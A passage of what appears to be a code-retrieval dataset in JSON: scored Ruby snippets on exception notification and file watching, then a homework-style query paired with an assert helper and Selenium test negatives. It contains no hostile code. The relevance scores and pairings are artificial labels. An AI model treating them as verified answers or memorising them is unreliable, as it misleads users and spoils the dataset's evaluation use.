"a6edbcb68d78880cf0eaacef97dea1f5", "score": "0.50971544", "text": "def file_watcher; end", "title": "" }, { "docid": "a8cbbb27221b936e4dd388eb504817ae", "score": "0.5077198", "text": "def notify_error message, time=3\n _notify(message, time, 'error')\n end", "title": "" }, { "docid": "a11b67d3cedae61f3ef80723d26d5f32", "score": "0.5060516", "text": "def handle_exception\n # notifier_options = { env: env }\n # ExceptionNotifier.notify_exception(exception, notifier_options)\n render json: { success: false, message: 'Something went wrong',\n status: 500 }\n end", "title": "" }, { "docid": "be17e6515df8207c01260e4511ff72c8", "score": "0.50474864", "text": "def notify\n $dyn_rinotify.add_watch(@name, RInotify::MODIFY)\n\n\n # sit and watch the file. Time out after 2 seconds.\n event_thread = Thread.new do\n while (1)\n has_events = $dyn_rinotify.wait_for_events(2)\n if has_events\n # iterate through events\n $dyn_rinotify.each_event {|revent|\n if revent.check_mask(RInotify::MODIFY)\n server\n trap(\"INT\") do\n print \"QUIT\\n\"\n $dyn_rinotify.close\n exit\n end\n end\n }\n end\n end\n end\n event_thread.join\n end", "title": "" }, { "docid": "acf51620f645ca7f9d79abf69166003b", "score": "0.50243104", "text": "def notify(message)\n logger.warn \"#{message}\"\n end", "title": "" }, { "docid": "430c62da8adc789555821d88e9213ff9", "score": "0.50205296", "text": "def report(error, handled:, severity: T.unsafe(nil), context: T.unsafe(nil)); end", "title": "" }, { "docid": "69dc02e0439f5e37c7be2800ce7696a6", "score": "0.5017655", "text": "def receive_issue\n super\n rescue ActiveRecord::RecordInvalid, MailHandler::MissingInformation, MailHandler::UnauthorizedAction,\n RedmineHtmlMailHandler::Error, ActionView::Template::Error => e\n notify(user: user, email: email, receiver: :invalid_new_issue, exc: e)\n end", "title": "" }, { "docid": "b61ef9bf1501b693c0f39bfd2953191b", "score": "0.50160104", "text": "def notify_airbrake(exception, params = {}, &block)\n return unless (notice = build_notice(exception, params))\n\n Airbrake.notify(notice, params, &block)\n end", "title": "" }, { "docid": "58dceff9adc221b3ad83da77500e770a", "score": "0.501595", "text": "def on_process_line_unknown_event(_ctx, _line)\n # per default we encounter an error\n raise Smtpd500Exception\n end", "title": "" }, { "docid": "58dceff9adc221b3ad83da77500e770a", "score": "0.501595", "text": "def on_process_line_unknown_event(_ctx, _line)\n # per default we encounter an error\n raise Smtpd500Exception\n end", "title": "" }, { "docid": "598557e9964429035627b3ec0517a6d7", "score": "0.49989125", "text": "def notify_airbrake_sync(exception, params = {}, &block)\n return unless (notice = build_notice(exception, params))\n\n Airbrake.notify_sync(notice, params, &block)\n end", "title": "" }, { "docid": "4aa22dfe53d206616edcdeb4ad0d5a32", "score": "0.49911204", "text": "def handler_for_rescue(exception); end", "title": "" }, { "docid": "56cccbc27d9ed39d569bc5eec149f23d", "score": "0.49847752", "text": "def on_error(time, message, exception)\n end", "title": "" }, { "docid": "a5772dd9d2ba3975339056a8dd343c0c", "score": "0.49731204", "text": "def notify_batbugger(hash_or_exception)\n unless batbugger_local_request?\n Batbugger.notify(hash_or_exception, batbugger_request_data)\n end\n end", "title": "" }, { "docid": "05d96da2901bf375b6a8ae5ea93fcd07", "score": "0.49518707", "text": "def track(identifier, notify_rule, options={})\n yield.tap { success(identifier) }\n rescue => exception\n failure(identifier, notify_rule, options) { raise exception }\n end", "title": "" }, { "docid": "eb47d8c42b0dd2db5e3788ec6e48a4e0", "score": "0.49495655", "text": "def notify_or_ignore(exception, opts = {})\n notice = build_notice_for(exception, opts)\n send_notice(notice) unless notice.ignore?\n end", "title": "" }, { "docid": "8cc7beefa43479b04d56d44fc37c948b", "score": "0.49464193", "text": "def watch_msgs\n raise NotImpelementedError\n end", "title": "" }, { "docid": "1f646aaf96ec2e7b49889a94d86475e5", "score": "0.49394074", "text": "def handle(ex)\n filepath, linenum = detect_location(ex)\n kick(filepath, linenum) if filepath && linenum\n end", "title": "" }, { "docid": "d704e38fe9ac9994f7ace9df158d23c3", "score": "0.49289587", "text": "def notify(exception, options = {})\n return if [\"development\", \"test\"].include? configuration.stage.downcase\n\n options[:exception] = exception\n notice = Notice.new(options)\n\n url = URI.parse(\"#{ configuration.url }/errors\")\n RestClient.post(url.to_s, notice.to_param)\n end", "title": "" }, { "docid": "ddb2ba7cb14fd9535f137de47f2e1aec", "score": "0.4928354", "text": "def on_error(&block); end", "title": "" }, { "docid": "ddb2ba7cb14fd9535f137de47f2e1aec", "score": "0.4928354", "text": "def on_error(&block); end", "title": "" }, { "docid": "b55cc0c8c4cfe641392988d534426021", "score": "0.492755", "text": "def handle_source_error(exception)\n if exception.io.status == [\"404\", \"Not Found\"]\n product.update! not_found: true, last_updated_at: Time.current\n else\n raise\n end\n end", "title": "" }, { "docid": "5e22ff8292a5de3c0d8efd885bd32e92", "score": "0.49239117", "text": "def notify(exception, opts = {})\n send_notice build_notice_for(exception, opts)\n end", "title": "" }, { "docid": "80ab2f8c617123ee1023e72fb5cf2146", "score": "0.49216014", "text": "def handle_warning(kind, exception, file)\n case kind\n when 'malformed_jpeg'\n p \"Unprocessible image: #{file}\"\n p exception.message\n when 'unscannable_directory'\n p \"Unscannable sub directory: #{file}\"\n p exception.message\n end\n end", "title": "" }, { "docid": "795823dc243f5d0327e6c5348f3fee00", "score": "0.4917585", "text": "def process\n read_events.each do |event|\n event.callback!\n event.flags.include?(:ignored) && event.notifier.watchers.delete(event.watcher_id)\n end\n end", "title": "" }, { "docid": "6b97a1304bdc80b4aa53ed5006a7ee48", "score": "0.49175346", "text": "def notify_runtime_error(result, options)\n message = \"An error occurred: #{ result['error'] }\"\n Formatter.error(message)\n Formatter.notify(message, :title => 'Jasmine error', :image => :failed, :priority => 2) if options[:notification]\n end", "title": "" }, { "docid": "d77e07b141e9b0aaef515443641af7a4", "score": "0.4916065", "text": "def notify\n end", "title": "" }, { "docid": "f9de1e382334316c4837759ed73bb53a", "score": "0.4912106", "text": "def monitor(title, run_level, block_was_given, event_fail) #:doc:\n # Why have @events, an Array of events?\n # * When new title is started, if its title level meets or exceeds the\n # Watcher verbosity level, the @events Array is cleared and the event\n # is sent to the log. The @events Array must be cleared because\n # preceeding indentation will not otherwise line up.\n # * When new title is started, if its title level is lower than the Watcher\n # verbosity level, its event Hash is appended to the @events Array for\n # later log replay if exception is thrown.\n # * When title is successfully completed, its matching event Hash is\n # located (from the right) of the @events Hash, and it and all following\n # events are removed from the @events Array.\n # * When title is unsuccessfully completed, a event replay is performed and\n # all events in the @events Hash are sent to the logs regardless of\n # their event level. This way an understandable stack-frame replay is\n # possible to determine the actual cause of the exception.\n result = nil\n\n if WATCHER_DEBUG and WATCHER_DEBUG_FAIL_ACTIONS\n @output.puts \"WATCHER MONITOR -- FAIL_ACTIONS for [#{title}]\"\n event_fail.each { |k,v| @output << \" #{k.inspect} == #{v.inspect}\\n\" }\n end\n\n # Validate input; abort if input parameters are not clean.\n # (@time, @last_hier, @title, @fail_actions, @relationship)\n event = Event.new(get_protected_log_time_string, @last_hier, title, \\\n event_fail, @event_relationship)\n\n # Validate input; abort if input parameters are not clean.\n unless @@verbosity_levels.has_key? run_level\n # Defensive programming\n msg = \"Watcher.monitor: The second argument (run_level) must be one\" \\\n + ' of ' + @@verbosity_levels.inspect + \". Your argument was\" \\\n + run_level.inspect + \". Aborting [#{title}]\"\n raise ArgumentError.new(msg)\n end\n\n # Either append this event to @events Array, or send it to the log\n if @@verbosity_levels[run_level] < @@verbosity_levels[@verbosity]\n # This event is lower than our minimum verbosity, so store it in our\n # Array for replay if needed later.\n @events << event\n @debug_out << \"* HIDDEN: #{event}\\n\" if WATCHER_DEBUG and WATCHER_DEBUG_VERBOSITY\n else\n # forget previous replays since this gets printed\n @debug_out << \"* VISIBLE:#{event.to_s} (*) clearing previous #{@events.size} events from array\\n\" if WATCHER_DEBUG and WATCHER_DEBUG_VERBOSITY\n @events = Array.new\n\n # NOTE: event.to_s retuns time-stamp then its event hier\n @output << event.to_s + \"\\n\"\n @output.flush # Do this always, not just 'if WATCHER_DEBUG'\n end\n\n # If event has a block, protect and execute the block\n if block_was_given # block_given? from #debug or #verbose\n if WATCHER_DEBUG and WATCHER_DEBUG_OUTPUT and false\n @output << \" +monitor_block(#{event.title})\"\n end\n result = monitor_block(event) { yield }\n end # block given\n\n # Once this Event is complete, make the next event a sibling of this event\n @event_relationship = :sibling\n @last_hier = event.hier.dup\n\n if WATCHER_DEBUG and WATCHER_DEBUG_VERBOSITY\n @debug_out << \"(L) @last_hier = \" + @last_hier + \"\\n\"\n @debug_out.flush\n end\n\n result\n end", "title": "" }, { "docid": "a7c100d76f0f0f1ef0548419142e675b", "score": "0.49057227", "text": "def handle_unknown_error\n do_nothing\n end", "title": "" }, { "docid": "816946b0adb1f4715b8a5fadabdafe28", "score": "0.490496", "text": "def handle_process_alert(issue_type,sys_name,alert_desc,alert_trigger,alert_text,alert_id)\n puts \"Process List alert: id = \" + alert_id.to_s + \"\\n\\tsystem = \" + sys_name + \", desc = \" + alert_desc + \", trigger = \" + alert_trigger\n if alert_text.include? \"does not contain\"\n handle_lost_proc(sys_name,alert_desc,alert_trigger,alert_text,alert_id)\n end\nend", "title": "" }, { "docid": "59a9cd655889ec917f1089e9a0258d2f", "score": "0.49004635", "text": "def run_report_safely(run_status)\n run_report_unsafe(run_status)\n rescue Exception => e # rubocop:disable Lint/RescueException\n Chef::Log.error(\"Report handler #{self.class.name} raised #{e.inspect}\")\n Array(e.backtrace).each { |line| Chef::Log.error(line) }\n # force a chef-client exception if user requested it\n throw e if node['audit']['fail_if_not_present']\n ensure\n @run_status = nil\n end", "title": "" }, { "docid": "a47c60df33cc63c8c5257c4ac0ccb809", "score": "0.4898317", "text": "def rescue_action_in_public(exception)\n CustosNotifier.notify(exception, :request => request)\n super\n end", "title": "" }, { "docid": "ea346fe530bed086449ed77e34b62154", "score": "0.48950523", "text": "def notify_exception(e)\n # ignore exception because the exception caused tuple server is down...\n Util.ignore_exception do\n write(TupleSpace::ExceptionTuple.new(uuid, agent_type, e))\n end\n end", "title": "" }, { "docid": "032898d34a357a1a48b02934c88c97b1", "score": "0.4890376", "text": "def rescue_action_in_public_with_notifier(exception) #:doc:\n response_code = response_code_for_rescue(exception)\n status = interpret_status(response_code)[0,3]\n respond_to do |format|\n format.html { render :template => \"/exceptions/#{status}\", :status => status }\n format.all { render :nothing => true, :status => true }\n #format.js { render(:update) { |page| page.call \"alert\", interpret_status(response_code) } }\n end\n rescue Exception => e\n logger.error e.message\n erase_results\n rescue_action_in_public_without_notifier(exception)\n ensure\n if response_code != :not_found\n Lipsiadmin::Mailer::ExceptionNotifier.deliver_exception(exception, self, request)\n end\n end", "title": "" }, { "docid": "cf78d9bcbb7a516a14ed9ea029431e4f", "score": "0.48782223", "text": "def handle_work_warning(data)\n handle, message = data.split(\"\\0\", 2)\n Util.logger.debug \"GearmanRuby: Got work_warning with handle #{handle} : '#{message}'\"\n tasks_in_progress(handle).each {|t| t.handle_warning(message) }\n end", "title": "" }, { "docid": "f1364da9e27faa3c28e205e30c928247", "score": "0.48732978", "text": "def notify_honeybadger(message)\n if ::Honeybadger.respond_to?(:notify_or_ignore)\n ::Honeybadger.notify_or_ignore(message)\n else\n ::Honeybadger.notify(message)\n end\n end", "title": "" }, { "docid": "2e0f514516aa34105558207ee6c1cc6d", "score": "0.48685756", "text": "def rescue_with_handler(exception); end", "title": "" }, { "docid": "4c40be68f2979600b9fe99a32b310eb3", "score": "0.48685205", "text": "def handle_error()\n end", "title": "" }, { "docid": "1e56fe2a91d7aa221c1cc23e918aaab0", "score": "0.48569733", "text": "def perform!\n status =\n case model.exit_status\n when 0\n :success if notify_on_success?\n when 1\n :warning if notify_on_success? || notify_on_warning?\n else\n :failure if notify_on_failure?\n end\n\n if status\n Logger.info \"Sending notification using #{notifier_name}...\"\n with_retries { notify!(status) }\n end\n rescue Exception => err\n Logger.error Error.wrap(err, \"#{notifier_name} Failed!\")\n end", "title": "" }, { "docid": "99c4713c5011357796d9f78162a44cee", "score": "0.4845205", "text": "def notify\n # do nothing\n end", "title": "" }, { "docid": "818bad51cc4296573355e06ac405a8d4", "score": "0.48438013", "text": "def update\n respond_to do |format|\n if @watcher.update(watcher_params)\n format.html { redirect_to @watcher, notice: 'Watcher was successfully updated.' }\n format.json { render :show, status: :ok, location: @watcher }\n else\n format.html { render :edit }\n format.json { render json: @watcher.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "c82788316bb0f30337b3ba58fcb6b633", "score": "0.48305362", "text": "def notify(message)\n !( @grove_client.post(message).status >= 400 )\n end", "title": "" }, { "docid": "6d2ad456f6e440a7e508d2889c8b48e3", "score": "0.48285574", "text": "def server_error(exception)\n # Whatever code that handles the exception\n\n ExceptionNotifier.notify_exception(exception,\n :env => request.env, :data => {:message => \"was doing something wrong\"})\n end", "title": "" }, { "docid": "21d60d6079d3191def9df481dcdc5755", "score": "0.48248369", "text": "def notify(exception, opts = {})\n send_notice(build_notice_for(exception, opts))\n end", "title": "" }, { "docid": "59807eb40aa4e1f8cef5f627c38c4719", "score": "0.48124862", "text": "def perform\n begin\n #update_fanpages\n rescue => e\n puts e\n end\n end", "title": "" }, { "docid": "372bc2b78f3b1b28050d18d595ed8cef", "score": "0.4811605", "text": "def notify\n end", "title": "" }, { "docid": "362a8e22351e2779b4d23c0e97888b30", "score": "0.48097724", "text": "def signal_status(status); end", "title": "" }, { "docid": "bbdcd31240f0a057a39c0ebbb811bf48", "score": "0.4800622", "text": "def on_error(e)\n _hb.handle_error(e)\n end", "title": "" }, { "docid": "395f435d491f71843c8d5945aff39779", "score": "0.47994304", "text": "def trigger\n notice_time = current_time_text\n line_users = LineUser.where(notice_time: notice_time)\n\n line_users.each do |line_user|\n PostWeathersNoticeWorker.perform_async(line_user.line_id, line_user.auth_token)\n end\n\n render_200('SUCCESS')\n end", "title": "" }, { "docid": "7cb2b2357a6b0280dfdc5080265cfba1", "score": "0.47986034", "text": "def on_error(error); end", "title": "" }, { "docid": "7cb2b2357a6b0280dfdc5080265cfba1", "score": "0.47986034", "text": "def on_error(error); end", "title": "" }, { "docid": "d690f9650d843c9df723fe9c98c8bbca", "score": "0.47933376", "text": "def report_exception(exception)\n HoptoadNotifier.notify(exception) if defined?(HoptoadNotifier)\n end", "title": "" }, { "docid": "a7efae74e5d32bd154f9c5239c561b2f", "score": "0.47887307", "text": "def on_error(error:); end", "title": "" }, { "docid": "9b8da0b8cc04672de7e8156a51c9bfaf", "score": "0.47838497", "text": "def unhandled; end", "title": "" }, { "docid": "90565c74c37d5c8be6d81308b215917e", "score": "0.4783719", "text": "def process_error(message)\n Display.alert(message)\n end", "title": "" }, { "docid": "f36d720514fd345cb313a16884fa6eb8", "score": "0.47739443", "text": "def file_watcher=(_arg0); end", "title": "" }, { "docid": "beeb0977907e91ed3f4c56f5145d81a2", "score": "0.4766767", "text": "def watch!(code = nil)\n return true if watched?(code)\n if User.current_user\n raise_if_public_watcher if self.private?\n self.support_notifications.create!(:email => User.current_user.email,\n :public_watcher => public_watcher?,\n :official => User.current_user.support_volunteer?)\n else\n raise_unless_guest_owner(code)\n self.support_notifications.create!(:email => self.email)\n end\n end", "title": "" }, { "docid": "7472a93d80a760e4d23c13128959c372", "score": "0.47617334", "text": "def notice_error(exception)\n return unless enabled? && agent\n\n agent.notice_error(exception)\n end", "title": "" }, { "docid": "e1228813b97321a88c24f6d5fe9155b4", "score": "0.47501808", "text": "def send_to_honeybadger(notice)\n if !Honeybadger.configuration.features['notices']\n log(:error, \"Can't send error report -- the gem has been deactivated by the remote service. Try restarting your app or contacting support@honeybadger.io.\")\n return nil\n end\n\n api_key = api_key_ok?(!notice.is_a?(String) && notice['api_key']) or return nil\n\n data = notice.is_a?(String) ? notice : notice.to_json\n\n response = rescue_http_errors do\n http_connection.post(url.path, data, http_headers({'X-API-Key' => api_key}))\n end\n\n if Net::HTTPSuccess === response\n log(Honeybadger.configuration.debug ? :info : :debug, \"Success: #{response.class}\", response, data)\n JSON.parse(response.body).fetch('id')\n else\n log(:error, \"Failure: #{response.class}\", response, data)\n log_original_exception(notice)\n nil\n end\n rescue => e\n log(:error, \"[Honeybadger::Sender#send_to_honeybadger] Error: #{e.class} - #{e.message}\\nBacktrace:\\n#{e.backtrace.join(\"\\n\\t\")}\")\n log_original_exception(notice)\n nil\n end", "title": "" }, { "docid": "975ee879a2ba9f962938251c0e9669cf", "score": "0.4749534", "text": "def rescue_with_handler(exception, object: T.unsafe(nil), visited_exceptions: T.unsafe(nil)); end", "title": "" }, { "docid": "88a18bbeb8beba2be2e6234e21b56d81", "score": "0.4745283", "text": "def run\n check\n rescue StatusError => e\n rescue => e\n e = StatusError.new(:unknown, ([e.to_s, nil] + e.backtrace).join(\"\\n\"))\n else\n e = StatusError.new(:unknown, 'no status method was called')\n ensure\n puts [service, e.to_s].join(' ')\n exit e.to_i\n end", "title": "" }, { "docid": "3563fdcc70a08d999fa441fa725d00a7", "score": "0.4737789", "text": "def exception(ex)\n notify_change('copier_failed', @component_name)\n\n super\n end", "title": "" }, { "docid": "42c86a514dc91cab314107ecd233b044", "score": "0.473717", "text": "def process_error(exception)\n record_error(exception)\n stop_processing\n end", "title": "" }, { "docid": "5ee805a0efff4b929b6b6cc58e412e7b", "score": "0.47370172", "text": "def warn msg\n notify msg\n end", "title": "" }, { "docid": "ee622a1e05d0cdd0a152c49a52ec2bb9", "score": "0.47366044", "text": "def notify_error_handlers exception\n @ionian_error_handlers.each { |handler| handler.call exception, self }\n end", "title": "" }, { "docid": "6d2050c2956b3603f3af18124b7bbc82", "score": "0.47351363", "text": "def on_error_ignore(delivery_info)\n acknowledge_message(delivery_info)\n [true, 'ignored']\n end", "title": "" }, { "docid": "c9cb3221934fcb91262033bcddf356a6", "score": "0.47345164", "text": "def catch_exception(hash_or_exception)\n if public_environment?\n notice = normalize_notice(hash_or_exception)\n notice = clean_notice(notice)\n send_to_server(notice)\n end\n end", "title": "" }, { "docid": "3169a29d02d00784ffe9b08e3d8cb846", "score": "0.4733892", "text": "def W(*args, &block); Event.deliver :warn, Bountybase.logger, *args, &block; end", "title": "" }, { "docid": "f1640ece1ad378cbc45ae290a5d48a44", "score": "0.4732549", "text": "def notify(...)\n new.notify(...)\n end", "title": "" }, { "docid": "484972c4b95d1f1185eb99b62acf5d58", "score": "0.47318897", "text": "def watchdog_loop\n @launcher.events.log \"* systemd: watchdog detected (#{@systemd.watchdog_usec}usec)\"\n\n # Ruby wants seconds, and the docs suggest notifying halfway through the\n # timeout.\n sleep_seconds = @systemd.watchdog_usec / 1000.0 / 1000.0 / 2.0\n\n loop do\n begin\n @launcher.events.debug \"systemd: notify watchdog\"\n @systemd.notify_watchdog\n rescue\n @launcher.events.error \"! systemd: notify watchdog failed:\\n #{$!.to_s}\\n #{$!.backtrace.join(\"\\n \")}\"\n ensure\n @launcher.events.debug \"systemd: sleeping #{sleep_seconds}s\"\n sleep sleep_seconds\n end\n end\n end", "title": "" } ]
fae82e5438edc3cc6c6b1a87ef690762
4. Refactored Solution I don't see how to refactor it further 1. DRIVER TESTS GO BELOW THIS LINE
[ { "docid": "b10c004604cb33c390201add587998a5", "score": "0.0", "text": "def assert(statement = \"Assertion failed!\")\n raise statement unless yield\nend", "title": "" } ]
[ { "docid": "8f30017d276b5452bcea06ff2233286c", "score": "0.60001177", "text": "def driver; end", "title": "" }, { "docid": "8f1c94592f39e6f7649463118849a3c2", "score": "0.5862025", "text": "def test_cases; end", "title": "" }, { "docid": "072514f3348fe62556dcdfd4b06e3d08", "score": "0.58172745", "text": "def spec; end", "title": "" }, { "docid": "072514f3348fe62556dcdfd4b06e3d08", "score": "0.58172745", "text": "def spec; end", "title": "" }, { "docid": "da0357a2b96a610e1869a3bc7a1a68bc", "score": "0.57972336", "text": "def test_007\n\n # login\n login\n\n # Open PU management page\n open_pu_management_page_1\n\n #Find a PU\n @@pu = Pu.find_by_name('SamplePU1')\n\n open \"/devgroup/pu_index/#{@@pu.id}\"\n wait_for_page_to_load \"30000\"\n\n sleep 2\n\n #Find a PJ of PU\n open_pj_management_page(@@pu.id)\n @@pj = Pj.find_by_name('SamplePJ1')\n\n open\"/devgroup/pj_index/#{@@pu.id}/#{@@pj.id}\"\n wait_for_page_to_load \"30000\"\n\n #Open \"Registration of analysis task\" page\n open(\"/task/index2/#{@@pu.id}/#{@@pj.id}\")\n # test master of PJ is not registered\n assert is_text_present(_(\"Details of an analysis task\"))\n click $xpath[\"task\"][\"main_area_td4\"]\n assert !60.times{ break if (is_text_present(_(\"Registration of an Analysis Task\")) rescue false); sleep 2 }\n\n click $xpath[\"task\"][\"general_control_tab\"]\n assert !60.times{ break if (is_text_present(_(\"Basic Setting\")) rescue false); sleep 2 }\n sleep 3\n select \"analyze_type\", \"label=#{@individual}\"\n sleep 3\n click $xpath[\"task\"][\"master_tab\"]\n assert !60.times{ break if (is_text_present(_(\"Select a master\")) rescue false); sleep 2 }\n # test for value of master into combobox in master tab\n assert_equal [\"sample_c_cpp\"], get_select_options(\"master_id\")\n assert is_text_present(_(\"Optional setting\"))\n # click link setup QAC\n assert is_text_present(\"qac\")\n sleep 3\n click $xpath[\"task\"][\"option_setup_link\"]\n # check log in the navigation bar\n assert !60.times{ break if (is_text_present(_(\"It returns to the state before a save.\")) rescue false); sleep 2 }\n # click link setup QAC++\n assert is_text_present(\"qacpp\")\n sleep 3\n click $xpath[\"task\"][\"option_setup_link2\"]\n sleep 2\n # check log in the navigation bar\n assert !60.times{ break if (is_text_present(_(\"It returns to the state before a save.\")) rescue false); sleep 2 }\n\n\n # logout\n logout\n\n end", "title": "" }, { "docid": "38a3fd7269acc23d9e9ad422cb365507", "score": "0.5736341", "text": "def test_008\n\n # login\n login\n\n # Open PU management page\n open_pu_management_page_1\n\n #Find a PU\n\n @@pu = Pu.find_by_name('SamplePU1')\n open \"/devgroup/pu_index/#{@@pu.id}\"\n wait_for_page_to_load \"30000\"\n\n sleep 2\n\n #Find a PJ of PU\n open_pj_management_page(@@pu.id)\n @@pj = Pj.find_by_name('SamplePJ1')#\n open\"/devgroup/pj_index/#{@@pu.id}/#{@@pj.id}\"\n wait_for_page_to_load \"30000\"\n\n #Open \"Registration of analysis task\" page\n open(\"/task/index2/#{@@pu.id}/#{@@pj.id}\")\n # test master of PJ is not registered\n assert is_text_present(_(\"Details of an analysis task\"))\n click $xpath[\"task\"][\"main_area_td4\"]\n assert !60.times{ break if (is_text_present(_(\"Registration of an Analysis Task\")) rescue false); sleep 2 }\n\n click $xpath[\"task\"][\"general_control_tab\"]\n assert !60.times{ break if (is_text_present(_(\"Basic Setting\")) rescue false); sleep 2 }\n sleep 3\n select \"analyze_type\", \"label=#{@individual}\"\n sleep 3\n click $xpath[\"task\"][\"master_tab\"]\n assert !60.times{ break if (is_text_present(_(\"Select a master\")) rescue false); sleep 2 }\n\n # test for value of master into combobox in master tab\n assert_equal [\"sample_c_cpp\"], get_select_options(\"master_id\")\n assert is_text_present(_(\"Optional setting\"))\n\n click $xpath[\"task\"][\"registration_task_button\"]\n sleep 2\n #assert !60.times{ break if (is_text_present(\"解析ツール未選択 入力内容に問題があるためタスクを登録できません。\") rescue false); sleep 2 }\n\n\n # logout\n logout\n\n end", "title": "" }, { "docid": "523bf35648b589623cba148e86adc31b", "score": "0.56853074", "text": "def my_array_finding_method(source, thing_to_find)\n # This line is here to make sure all tests initially fail. Delete it when you begin coding.\nend", "title": "" }, { "docid": "f9b8a3c689f304a84e5c9cb4c0c150e5", "score": "0.5684296", "text": "def test_004\n\n # login\n login\n\n # Open PU management page\n open_pu_management_page_1\n\n # #Find a PU\n #Pu created\n pu_name = 'pu'\n register_pu(pu_name)\n @@pu = Pu.find(:last)\n open \"/devgroup/pu_index/#{@@pu.id}\"\n wait_for_page_to_load \"30000\"\n\n sleep 2\n\n #Find a PJ of PU\n open_pj_management_page(@@pu.id)\n pj_name = 'pj'\n register_pj(pj_name)\n @@pj = Pj.find(:last)\n open\"/devgroup/pj_index/#{@@pu.id}/#{@@pj.id}\"\n wait_for_page_to_load \"30000\"\n\n # test for individual analysis task\n open(\"/task/index2/#{@@pu.id}/#{@@pj.id}\")\n #The contents of a display of a \"master\" tab become\n # a thing for individual analysis task registration.\n click $xpath[\"task\"][\"main_area_td4\"]\n wait_for_page_to_load \"30000\"\n assert is_text_present(_(\"Registration of an Analysis Task\"))\n # select analyze type: 全体解析 (Analysis of all)\n select \"analyze_type\", \"label=#{@overall}\"\n click $xpath[\"task\"][\"master_tab\"]\n assert !60.times{ break if (is_text_present(_(\"Select a master\")) rescue false); sleep 2 }\n #There is no display below \"selection of the upload method of an individual analysis file.\"\n assert !is_text_present(_(\"Select the upload method of individual analysis files\"))\n\n @@pu.destroy\n # logout\n logout\n\n end", "title": "" }, { "docid": "5cdf7b8a37b5f389790ed74ce6bbb378", "score": "0.564492", "text": "def test_sources_tc958 #20 \n # Refering candidate with tracking source, new candidate, Clear Source Tracking for Internal Referrals\n Common.login(Users::USER_EMAIL, Users::PASSWORD)\n # Preconditions\n Common.goToTab(HomePage::BOARD_SETUP_TAB_LINK_XPATH)\n Common.displayed(BoardSetupHomePage::CAREERS_LINK_LIST_XPATH)\n Common.click_and_load(BoardSetupHomePage::INTERNAL_LINK_LIST_XPATH)\n Common.displayed(BoardSetupDetailPage::BOARD_DETAIL_EDIT_BUTTON_XPATH)\n test = [\n {\"displayed\" => BoardSetupDetailPage::BOARD_DETAIL_EDIT_BUTTON_XPATH},\n {\"click\" => BoardSetupDetailPage::BOARD_DETAIL_EDIT_BUTTON_XPATH},\n \n {\"displayed\" => BoardSetupEditPage::BOARD_EDIT_APPLY_REFERRAL_IMMEDIATELY_XPATH},\n {\"checked\" => BoardSetupEditPage::BOARD_EDIT_APPLY_REFERRAL_IMMEDIATELY_XPATH},\n {\"set_text\" => BoardSetupEditPage::BOARD_EDIT_SOURCE_TRACKING_FOR_INTERNAL_REFERRAL_XPATH, \"text\" => \" \"},\n \n {\"click\" => BoardSetupEditPage::BOARD_EDIT_SAVE_BUTTON_XPATH},\n ]\n Common.main(test)\n \n $browser.get HomePage::JOB_BOARD_INTERNAL_URL\n test = [\n {\"check_apply\" => \"\"},\n {\"displayed\" => JobBoardJobDetail::JOB_BOARD_APPLY_JOB_REFER_CANDIDATE_XPATH},\n {\"click\" => JobBoardJobDetail::JOB_BOARD_APPLY_JOB_REFER_CANDIDATE_XPATH},\n \n {\"displayed\" => JobBoardJobDetail::JOB_BOARD_APPLY_REFERRER_EMAIL_XPATH},\n {\"set_text\" => JobBoardJobDetail::JOB_BOARD_APPLY_REFERRER_EMAIL_XPATH, \"text\" => Users::JOB_BOARD_USER_TEXT},\n {\"click\" => JobBoardJobDetail::JOB_BOARD_CONTINUE_BUTTON_XPATH},\n \n {\"displayed\" => JobBoardJobDetail::PROSPECT_FIRST_NAME_XPATH},\n {\"set_text\" => JobBoardJobDetail::PROSPECT_FIRST_NAME_XPATH, \"text\" => \"a\"},\n {\"set_text\" => JobBoardJobDetail::PROSPECT_LAST_NAME_XPATH, \"text\" => \"b\"},\n {\"set_text\" => JobBoardJobDetail::PROSPECT_EMAIL, \"text\" => \"matiast@oktana.io\"},\n {\"click\" => JobBoardJobDetail::JOB_BOARD_APPLY_JOB_SUBMIT_XPATH},\n {\"displayed\" => JobBoardJobDetail::THANK_YOU_REFERRAL_MESSAGE_XPATH}\n ]\n Common.main(test)\n \n assert $browser.find_element(:xpath, JobBoardJobDetail::THANK_YOU_REFERRAL_MESSAGE_XPATH).displayed?\n \n end", "title": "" }, { "docid": "e4dc3df2a489fb1bddcc5bb4b5db0fc0", "score": "0.5644727", "text": "def test_005\n\n # login\n login\n\n # Open PU management page\n open_pu_management_page_1\n\n # #Find a PU\n #Pu created\n pu_name = 'pu'\n register_pu(pu_name)\n @@pu = Pu.find(:last)\n open \"/devgroup/pu_index/#{@@pu.id}\"\n wait_for_page_to_load \"30000\"\n\n sleep 2\n\n #Find a PJ of PU\n open_pj_management_page(@@pu.id)\n pj_name = 'pj'\n register_pj(pj_name)\n @@pj = Pj.find(:last)\n open\"/devgroup/pj_index/#{@@pu.id}/#{@@pj.id}\"\n wait_for_page_to_load \"30000\"\n\n # test for individual analysis task\n open(\"/task/index2/#{@@pu.id}/#{@@pj.id}\")\n #The contents of a display of a \"master\" tab become\n # a thing for individual analysis task registration.\n click $xpath[\"task\"][\"main_area_td4\"]\n wait_for_page_to_load \"30000\"\n assert is_text_present(_(\"Registration of an Analysis Task\"))\n # select analyze type: 個人解析\n select \"analyze_type\", \"label=#{@individual}\"\n click $xpath[\"task\"][\"master_tab\"]\n assert !60.times{ break if (is_text_present(_(\"Select a master\")) rescue false); sleep 2 }\n # Below \"selection of the upload method of an individual analysis file\" is displayed.\n assert is_text_present(_(\"Select a master\"))\n assert is_text_present(_(\"Master\"))\n assert is_text_present(_(\"Select the upload method of individual analysis files\"))\n assert is_text_present(_(\"Upload of individual analysis files\"))\n\n @@pu.destroy\n # logout\n logout\n\n end", "title": "" }, { "docid": "35a51327dd0b5c9a884bb0e6f7155697", "score": "0.5644703", "text": "def testing\n # ...\n end", "title": "" }, { "docid": "a9f4c2a19b80ba89e2afaa1cdd14095b", "score": "0.5633412", "text": "def test_case; end", "title": "" }, { "docid": "ab428ae414d7b57bc8d56e38b8d48302", "score": "0.56076324", "text": "def setup; end", "title": "" }, { "docid": "ab428ae414d7b57bc8d56e38b8d48302", "score": "0.56076324", "text": "def setup; end", "title": "" }, { "docid": "ab428ae414d7b57bc8d56e38b8d48302", "score": "0.56076324", "text": "def setup; end", "title": "" }, { "docid": "ab428ae414d7b57bc8d56e38b8d48302", "score": "0.56076324", "text": "def setup; end", "title": "" }, { "docid": 